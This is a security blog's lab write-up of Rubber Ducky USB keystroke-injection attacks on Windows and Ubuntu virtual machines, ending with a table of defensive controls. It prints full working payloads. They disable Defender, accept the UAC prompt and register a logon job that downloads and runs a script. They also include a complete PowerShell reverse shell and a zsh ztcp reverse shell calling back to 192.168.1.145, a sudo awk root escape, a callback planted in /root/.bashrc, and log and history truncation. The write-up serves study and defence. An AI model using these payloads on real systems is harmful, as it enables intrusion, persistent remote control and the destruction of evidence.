It Types Faster Than You Do: USB HID Attacks with a Rubber Ducky
#06HIGH/ FirewallFables/ Oct 6, 2026/ 12 min read
Jump to section
- 01The trust problem in the USB port
- 02The lab
- 03Windows: Defender off, job on, shell back
- 04Stage 1 — reach Windows Security without a mouse
- 05Stage 2 — elevating PowerShell by answering UAC
- 06Stage 3 — fetch, wrap, schedule
- 07Stage 4 — the shell that comes back
- 08Linux: root, a callback, and a clean floor
- 09Stage 1 — root through the program you already trusted
- 10Stage 2 — a reverse shell without nc or /dev/tcp
- 11Stage 3 — persistence in the login script
- 12Stage 4 — leaving a clean floor
- 13What actually stops this
- 14The detailed report
Verdict: A Human Interface Device attack needs no exploit, no vulnerability and no malware on disk. It needs four seconds of physical access and a port that trusts anything claiming to be a keyboard. In this lab, a programmable USB stick typed its way through Windows Defender, answered its own UAC prompt, registered a PowerShell job that calls home at every logon, and — on a second target — walked sudo into a root shell, wired a callback into /root/.bashrc, and truncated the logs on the way out. Everything below was executed against isolated virtual machines; nothing touched a production host.
That diagram is the whole story. There is no memory corruption, no CVE, no dropped binary in the first stage. There is a device the operating system has agreed to believe, and a script that knows exactly where the cursor will be.
#The trust problem in the USB port
A keyboard is the most privileged peripheral you can plug into a machine. It does not ask for a driver — the HID boot protocol is implemented by every BIOS, every installer and every operating system since the 1990s. It does not prompt for permission, does not appear as a drive, and does not get scanned as storage, because it is not storage. Its entire job is to turn electrical signals into keystrokes, and the operating system has no mechanism to tell a human's fingers from a microcontroller's GPIO pins.
That is the gap HID attacks live in. A Rubber Ducky is a small microcontroller board inside a USB-drive shell that enumerates as a HID keyboard and replays a scripted keystroke sequence — Ducky Script — at machine speed. It has no intelligence, no network stack and no persistence of its own; it simply types, very fast, into whatever has focus on the desktop.
Two consequences follow, and both matter more than the hardware:
- The payload is not on the device. The script types a command that downloads the real payload. Nothing on the USB stick looks like malware because nothing on the USB stick is malware — it's a text file full of keystrokes.
- It inherits the session. The stick types as the logged-in user, in that user's session, with that user's privileges, sudo timestamp, mounted shares and network position. It does not need to find a vulnerability because it is already sitting behind the login.
#The lab
| Role | System | Notes |
|---|---|---|
| Target (Windows) | Windows VM, logged-in user | Defender enabled at start, no EDR agent |
| Target (Linux) | Ubuntu VM, logged-in user | Stock desktop, zsh installed |
| Attacker | Kali VM at 192.168.1.145 |
nc listeners on 5647 (Windows) and 4444 (Linux) |
| Delivery | Rubber Ducky in HID mode | One payload per target, no drivers installed |
| Network | Host-only virtual segment | No route to the internet; payload URL served locally |
Both payloads are written as keystroke scripts, which is a strange way to write software: every delay is a guess about how long a window takes to open. The Windows script sits at 49 lines and about a minute of wall-clock typing; the Linux script is 82 lines, most of it DELAY.
#Windows: Defender off, job on, shell back
#Stage 1 — reach Windows Security without a mouse
REM Disabling Windows Defender
GUI r
DELAY 4000
STRING windowsdefender:
DELAY 1000
ENTER
DELAY 6000
ENTER
TAB
TAB
TAB
TAB
DELAY 600
ENTER
DELAY 600
SPACE
DELAY 6000
TAB
DELAY 1000
TAB
DELAY 2000
ENTER
DELAY 600
ALT F4
DELAY 600
GUI r is Win+R. The script opens the Run box, launches the windowsdefender: URI, waits for the app to paint, tabs down to the protection panel, presses Enter to open it, toggles the switch with Space, tabs to the confirmation and accepts it. No PowerShell, no registry edits, no Set-MpPreference — just a keyboard pretending to be a person clicking through settings. Note the timing: 600 ms between keystrokes once a dialog is expected, 6 s where a UWP app has to spin up.
This stage is the most fragile part of any Ducky payload, because it depends on a specific UI layout, a specific window size and a specific Windows build. It is also the one that Tamper Protection breaks outright: with Defender's tamper protection enabled, the GUI toggle refuses to turn off real-time protection, and the script's Space bar achieves nothing. The payload here assumes a host where it is off — which, in the wild, is exactly the host worth attacking.
#Stage 2 — elevating PowerShell by answering UAC
REM Opening PowerShell with admin privilege
GUI r
DELAY 4000
STRING powershell
CTRL SHIFT ENTER
DELAY 4000
TAB
DELAY 1000
TAB
DELAY 4000
ENTER
Ctrl+Shift+Enter launches PowerShell elevated. The UAC prompt appears on the secure desktop — and then the keyboard presses Tab, Tab, Enter. This is not a UAC bypass. It is a UAC answer: the consent dialog is waiting for a human to say yes, and the device is a human as far as the dialog knows.
That is the single most underrated line in the payload. Organisations treat UAC as a control, but UAC is a speed bump for a person at the desk. Against a device that types on that desk, it is a two-tab formality.
#Stage 3 — fetch, wrap, schedule
The elevated shell gets one line, typed into it:
STRING $T = New-JobTrigger -AtLogOn ; $Script = IEX(New-Object System.Net.WebClient).DownloadString('https://vulnerable.fun/payload.ps1') ; $ScriptBlock = [Scriptblock]::Create($Script.Content) ; Register-ScheduledJob -Name "Powershell" -ScriptBlock $ScriptBlock -Trigger $T
Read the intent rather than the syntax: build a trigger that fires at logon, pull a PowerShell script over HTTPS, wrap it in a script block, and register it as a scheduled job named Powershell. (The one-liner stutters as written — IEX is applied to the download call and then .Content is read from the result — but the shape of the attack is clear, and a working variant is a whisper away.) The URL used in the lab is a placeholder domain; nothing was fetched from the open internet.
Two details make this stage effective:
- The malware is fetched, not dropped. The stick carries no file. The named job downloads the script every time it runs, so the operator can change the payload without touching the host.
Register-ScheduledJobis quiet. It's a PowerShell job stored under%USERPROFILE%\AppData\Local\Microsoft\Windows\PowerShell\ScheduledJobs, not an entry in Task Scheduler's UI. Administrators who only look attaskschd.mscwill not see it.
#Stage 4 — the shell that comes back
payload.ps1, the file that gets fetched, is a minimal TCP client:
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.145",5647);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " > ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()
It reads commands, executes them with iex, pipes the output into a prompt string (PS <current directory> > ) and writes it back. That's an interactive PowerShell session with the privileges the job ran under — no payload traffic that looks unusual, no listening port, no new service. Outbound TCP to an IP on a high port, from a desktop that makes outbound connections all day.
The scheduled job means the session is not a one-off: log off, log back in, and the callback happens again. That is the difference between a proof of concept and an intrusion.
#Linux: root, a callback, and a clean floor
#Stage 1 — root through the program you already trusted
REM Privilege Escalation
REM Windows key
GUI
DELAY 10000
STRING terminator
ENTER
DELAY 10000
STRING sudo awk 'BEGIN {system("/bin/sh")}'
ENTER
DELAY 10000
awk executes commands; sudo lets it; the result is a root shell with no password prompt if the account has passwordless sudo or a live sudo timestamp — the default timestamp_timeout is 15 minutes of cached authority, and the Ducky is typing inside that window. This isn't a bug in awk or in sudo; it's the standard GTFOBins pattern, and it's why "the user is already logged in" is not a mitigation for anything.
#Stage 2 — a reverse shell without nc or /dev/tcp
STRING zsh -c 'zmodload zsh/net/tcp && ztcp 192.168.1.145 4444 && zsh <&$REPLY >&$REPLY 2>&$REPLY'
zsh ships a TCP module. ztcp opens a socket and leaves the file descriptor in $REPLY; the next zsh is duplicated onto that descriptor for stdin, stdout and stderr. No Netcat binary, no bash /dev/tcp (which many hardened builds disable), no Python one-liner — just two lines of shell and the login shell's own networking. On a host where the usual reverse-shell one-liners have been blocked, this still works.
#Stage 3 — persistence in the login script
REM Gaining reverse shell for persistent access
STRING cd /..
ENTER
DELAY 10000
STRING cd root
ENTER
DELAY 10000
STRING vi .bashrc
ENTER
DELAY 10000
STRING e
DELAY 10000
STRING i
DELAY 10000
ENTER
DELAY 10000
ENTER
DELAY 10000
ENTER
DELAY 10000
UPARROW
UPARROW
DELAY 10000
STRING zsh -c 'zmodload zsh/net/tcp && ztcp 192.168.1.145 4444 && zsh <&$REPLY >&$REPLY 2>&$REPLY'
DELAY 10000
ENTER
DELAY 5000
ESCAPE
SHIFT SEMICOLON
DELAY 5000
STRING wq
DELAY 2000
ENTER
From the root shell the script walks back to /, opens /root/.bashrc in vi, uses e to jump to the end of the file, i for insert mode, opens three blank lines, steps up into one and types the callback into it, then saves with :wq. Every future root login — a sudo su from support, an SSH session from an admin, a cron job that sources the profile — re-establishes the shell. Persistence written into a file that administrators edit for a living, which is exactly why it survives casual inspection.
#Stage 4 — leaving a clean floor
REM Covering tracks for root user
STRING > /var/log/auth.log
DELAY 1000
ENTER
STRING > ~/.bash_history
DELAY 100
ENTER
DELAY 1000
STRING > /root/.bash_history
DELAY 100
ENTER
DELAY 1000
REM exiting root user
STRING exit
DELAY 100
ENTER
DELAY 1000
REM Covering tracks for unprivileged user
STRING > /var/log/auth.log
DELAY 1000
ENTER
STRING > ~/.bash_history
DELAY 1000
ENTER
DELAY 1000
STRING history -c
DELAY 1000
ENTER
DELAY 1000
STRING sudo su
DELAY 100
ENTER
Truncation (>), not deletion: the file stays, empty, with a timestamp that has refreshed. history -c clears the in-memory shell history, and the exit returns the session to the unprivileged user, whose own history and the shared auth.log are then cleared again. The sudo su at the end restores a root shell so the operator can continue.
What survived: journald (journalctl -u ssh, _COMM=sudo), auditd if it was running, the Kernel log buffer, the filesystem's own atime/mtime on a truncated log, and anything shipping logs off the host. Truncating auth.log is not stealth; it is a signal, and one of the loudest a host can emit.
#What actually stops this
| Stage | Control | Why it holds |
|---|---|---|
| Plug-in | USB device control / HID allowlist by VID:PID | An unapproved keyboard never enumerates; nothing downstream matters |
| Plug-in | USBGuard, endpoint DLP, port epoxy on kiosks | Physically prevents the trust boundary from being crossed |
| Stage 1 | Defender Tamper Protection + policy-managed settings | The GUI toggle stops working; disabling Defender requires an admin action that is logged |
| Stage 2 | Standard user accounts, no local admin | The UAC prompt becomes a credential request the device cannot answer |
| Stage 3 | PowerShell script block logging (4104), transcription | The DownloadString one-liner is recorded verbatim, with the URL |
| Stage 3 | Autoruns / scheduled job monitoring | Register-ScheduledJob artifacts under AppData\...\ScheduledJobs are invisible in Task Scheduler — collect them explicitly |
| Stage 4 | Egress filtering, DNS logging, proxy inspection | Blocks the fetch and the callback even when the keystrokes land |
| Linux | timestamp_timeout=0, NOPASSWD reviewed |
No cached sudo authority for the stick to spend |
| Linux | auditd execve rules, AIDE on /root |
awk spawning a shell as root and a modified .bashrc are both visible |
| All | Screen lock, no auto-login, physical access control | A locked session is not a session the stick can type into |
The uncomfortable one is the first row. Everything below it is defence in depth; device control is the only control that addresses the actual primitive, which is a USB port that accepts keyboards from strangers.
Moral: every layer of security on a workstation assumes a human is sitting in front of it and that the human's intent is the machine's intent. HID attacks don't break that assumption — they become it. The stick has no exploit. It has your keyboard.
#The detailed report
The full lab report — both payloads in full, with screenshots of the Defender toggle, the scheduled job and the vi session — is embedded below.
3 pages · 1.1 MB · prepared by Pritam Dash · scrollable in place
Pass it on
More fables
No Auth, 164 Million Records: The Malawi Credit Bureau Exposure
A Kibana dashboard with zero authentication exposed the entire Malawian credit bureau — 2.4 million full identity profiles, 49 million loan records and live application logs — to anyone who knew the IP.
The Registry That Called Everyone: 265 Million Numbers Exposed at India's DND
Two unauthenticated CouchDB nodes held India's entire Do-Not-Disturb registry — 245 million phone preferences, 7 million consent records and full residential PII — behind nothing but an open port.
Shai-Hulud Supply Chain Attack
How a self-spreading npm worm turned stolen maintainer tokens into a cascading supply-chain compromise across hundreds of packages.